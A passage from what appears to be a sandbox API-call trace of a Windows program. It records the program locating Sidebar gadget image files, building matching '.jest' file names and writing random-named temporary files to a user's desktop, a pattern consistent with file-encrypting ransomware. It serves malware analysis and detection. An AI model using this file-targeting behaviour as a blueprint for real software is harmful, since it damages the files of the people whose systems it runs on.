YS6jotmGvmnd_HQDcAgUwru-dNDhEgfH62du v1FrSiRHBrF_kq8y8RmqOts.tmp") returned 0x8e [0124.139] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x44 [0124.139] GetFullPathNameA (in: lpFileName="nddGVVCtDseCsU4Wvzr-tIqLhgImxJq7q nn5iI YS6jotmGvmnd_HQDcAgUwru-dNDhEgfH62du v1FrSiRHBrF_kq8y8RmqOts.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nddGVVCtDseCsU4Wvzr-tIqLhgImxJq7q nn5iI YS6jotmGvmnd_HQDcAgUwru-dNDhEgfH62du v1FrSiRHBrF_kq8y8RmqOts.tmp", lpFilePart=0x18e6e4*="nddGVVCtDseCsU4Wvzr-tIqLhgImxJq7q nn5iI YS6jotmGvmnd_HQDcAgUwru-dNDhEgfH62du v1FrSiRHBrF_kq8y8RmqOts.tmp") returned 0x8e [0124.139] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nddGVVCtDseCsU4Wvzr-tIqLhgImxJq7q nn5iI YS6jotmGvmnd_HQDcAgUwru-dNDhEgfH62du v1FrSiRHBrF_kq8y8RmqOts.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4764646e, cFileName="VVCtDseCsU4Wvzr-tIqLhgImxJq7q nn5iI YS6jotmGvmnd_HQDcAgUwru-dNDhEgfH62du v1FrSiRHBrF_kq8y8RmqOts.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.140] GetLastError () returned 0x2 [0124.140] GetLastError () returned 0x2 [0124.140] SetLastError (dwErrCode=0x2) [0124.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.140] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.141] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", lpFilePart=0x18e870*="logo.png") returned 0x47 [0124.181] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png.jest", lpFilePart=0x18e870*="logo.png.jest") returned 0x4c [0124.185] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x47 [0124.185] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb443525c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x78, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0124.185] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.186] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x47 [0124.186] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x47 [0124.187] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.187] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0xcc)) [0124.187] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0xcc)) [0124.187] GetUserDefaultLCID () returned 0x409 [0124.187] VarBstrFromR4 (in: fltIn=0x4794441a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.2") returned 0x0 [0124.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0124.188] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x47 [0124.188] GetFullPathNameA (in: lpFileName="8rwH_WtfzOC8NNIvo-xAoyDXs 7We7HiALFPpfxmYuRwF3QXP6GFTDhDp2UkBAV6l_b4NT-qLAqfqdcpSSst6KYGHhuhO0SGtw6r.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8rwH_WtfzOC8NNIvo-xAoyDXs 7We7HiALFPpfxmYuRwF3QXP6GFTDhDp2UkBAV6l_b4NT-qLAqfqdcpSSst6KYGHhuhO0SGtw6r.tmp", lpFilePart=0x18e708*="8rwH_WtfzOC8NNIvo-xAoyDXs 7We7HiALFPpfxmYuRwF3QXP6GFTDhDp2UkBAV6l_b4NT-qLAqfqdcpSSst6KYGHhuhO0SGtw6r.tmp") returned 0x8e [0124.189] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x47 [0124.189] GetFullPathNameA (in: lpFileName="8rwH_WtfzOC8NNIvo-xAoyDXs 7We7HiALFPpfxmYuRwF3QXP6GFTDhDp2UkBAV6l_b4NT-qLAqfqdcpSSst6KYGHhuhO0SGtw6r.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8rwH_WtfzOC8NNIvo-xAoyDXs 7We7HiALFPpfxmYuRwF3QXP6GFTDhDp2UkBAV6l_b4NT-qLAqfqdcpSSst6KYGHhuhO0SGtw6r.tmp", lpFilePart=0x18e6e4*="8rwH_WtfzOC8NNIvo-xAoyDXs 7We7HiALFPpfxmYuRwF3QXP6GFTDhDp2UkBAV6l_b4NT-qLAqfqdcpSSst6KYGHhuhO0SGtw6r.tmp") returned 0x8e [0124.189] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8rwH_WtfzOC8NNIvo-xAoyDXs 7We7HiALFPpfxmYuRwF3QXP6GFTDhDp2UkBAV6l_b4NT-qLAqfqdcpSSst6KYGHhuhO0SGtw6r.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x48777238, cFileName="_WtfzOC8NNIvo-xAoyDXs 7We7HiALFPpfxmYuRwF3QXP6GFTDhDp2UkBAV6l_b4NT-qLAqfqdcpSSst6KYGHhuhO0SGtw6r.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.189] GetLastError () returned 0x2 [0124.189] GetLastError () returned 0x2 [0124.189] SetLastError (dwErrCode=0x2) [0124.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.191] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.193] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", lpFilePart=0x18e870*="logo.png") returned 0x4c [0124.233] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png.jest", lpFilePart=0x18e870*="logo.png.jest") returned 0x51 [0124.313] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x4c [0124.313] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa7abe3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa7abe3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c74d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x78, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0124.313] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.314] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x4c [0124.314] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x4c [0124.315] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.315] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x149)) [0124.315] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x149)) [0124.315] GetUserDefaultLCID () returned 0x409 [0124.315] VarBstrFromR4 (in: fltIn=0x4794442a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.33") returned 0x0 [0124.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="°") returned 1 [0124.315] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x4c [0124.316] GetFullPathNameA (in: lpFileName="x9gm1jDIJ_lpvQ0jsJLqJmQ-gcaRWD1ui98UUUubCIuYJkpaJNGEx7bDM6txFvj 59qpX-4nGSkbFMYOERlgDvWo-d-aMquZ0SuI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x9gm1jDIJ_lpvQ0jsJLqJmQ-gcaRWD1ui98UUUubCIuYJkpaJNGEx7bDM6txFvj 59qpX-4nGSkbFMYOERlgDvWo-d-aMquZ0SuI.tmp", lpFilePart=0x18e708*="x9gm1jDIJ_lpvQ0jsJLqJmQ-gcaRWD1ui98UUUubCIuYJkpaJNGEx7bDM6txFvj 59qpX-4nGSkbFMYOERlgDvWo-d-aMquZ0SuI.tmp") returned 0x8e [0124.316] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x4c [0124.317] GetFullPathNameA (in: lpFileName="x9gm1jDIJ_lpvQ0jsJLqJmQ-gcaRWD1ui98UUUubCIuYJkpaJNGEx7bDM6txFvj 59qpX-4nGSkbFMYOERlgDvWo-d-aMquZ0SuI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x9gm1jDIJ_lpvQ0jsJLqJmQ-gcaRWD1ui98UUUubCIuYJkpaJNGEx7bDM6txFvj 59qpX-4nGSkbFMYOERlgDvWo-d-aMquZ0SuI.tmp", lpFilePart=0x18e6e4*="x9gm1jDIJ_lpvQ0jsJLqJmQ-gcaRWD1ui98UUUubCIuYJkpaJNGEx7bDM6txFvj 59qpX-4nGSkbFMYOERlgDvWo-d-aMquZ0SuI.tmp") returned 0x8e [0124.317] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x9gm1jDIJ_lpvQ0jsJLqJmQ-gcaRWD1ui98UUUubCIuYJkpaJNGEx7bDM6txFvj 59qpX-4nGSkbFMYOERlgDvWo-d-aMquZ0SuI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d673978, cFileName="1jDIJ_lpvQ0jsJLqJmQ-gcaRWD1ui98UUUubCIuYJkpaJNGEx7bDM6txFvj 59qpX-4nGSkbFMYOERlgDvWo-d-aMquZ0SuI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.317] GetLastError () returned 0x2 [0124.317] GetLastError () returned 0x2 [0124.317] SetLastError (dwErrCode=0x2) [0124.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.317] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.322] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e870*="logo.png") returned 0x48 [0124.348] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png.jest", lpFilePart=0x18e870*="logo.png.jest") returned 0x4d [0124.731] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x48 [0124.732] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbad82b5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbad82b5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb3d37fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x78, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0124.732] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.732] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x48 [0124.733] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x48 [0124.733] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.733] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x2ee)) [0124.733] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x2ee)) [0124.734] GetUserDefaultLCID () returned 0x409 [0124.734] VarBstrFromR4 (in: fltIn=0x47944460, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.75") returned 0x0 [0124.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="÷") returned 1 [0124.734] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x48 [0124.735] GetFullPathNameA (in: lpFileName="LEVWxwWUGSWemSx6DBG_P TwO-0OJI9N-c KLPBVFDzMdC_Z5VvhoOePpkHUJVTO1VIel2tun083nTGCSh8 G_Znnii_99T8_g4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LEVWxwWUGSWemSx6DBG_P TwO-0OJI9N-c KLPBVFDzMdC_Z5VvhoOePpkHUJVTO1VIel2tun083nTGCSh8 G_Znnii_99T8_g4.tmp", lpFilePart=0x18e708*="LEVWxwWUGSWemSx6DBG_P TwO-0OJI9N-c KLPBVFDzMdC_Z5VvhoOePpkHUJVTO1VIel2tun083nTGCSh8 G_Znnii_99T8_g4.tmp") returned 0x8d [0124.735] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x48 [0124.736] GetFullPathNameA (in: lpFileName="LEVWxwWUGSWemSx6DBG_P TwO-0OJI9N-c KLPBVFDzMdC_Z5VvhoOePpkHUJVTO1VIel2tun083nTGCSh8 G_Znnii_99T8_g4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LEVWxwWUGSWemSx6DBG_P TwO-0OJI9N-c KLPBVFDzMdC_Z5VvhoOePpkHUJVTO1VIel2tun083nTGCSh8 G_Znnii_99T8_g4.tmp", lpFilePart=0x18e6e4*="LEVWxwWUGSWemSx6DBG_P TwO-0OJI9N-c KLPBVFDzMdC_Z5VvhoOePpkHUJVTO1VIel2tun083nTGCSh8 G_Znnii_99T8_g4.tmp") returned 0x8d [0124.736] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LEVWxwWUGSWemSx6DBG_P TwO-0OJI9N-c KLPBVFDzMdC_Z5VvhoOePpkHUJVTO1VIel2tun083nTGCSh8 G_Znnii_99T8_g4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5756454c, cFileName="xwWUGSWemSx6DBG_P TwO-0OJI9N-c KLPBVFDzMdC_Z5VvhoOePpkHUJVTO1VIel2tun083nTGCSh8 G_Znnii_99T8_g4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.736] GetLastError () returned 0x2 [0124.736] GetLastError () returned 0x2 [0124.736] SetLastError (dwErrCode=0x2) [0124.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.736] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.747] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e870*="logo.png") returned 0x42 [0124.775] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png.jest", lpFilePart=0x18e870*="logo.png.jest") returned 0x47 [0124.932] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x42 [0124.932] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, 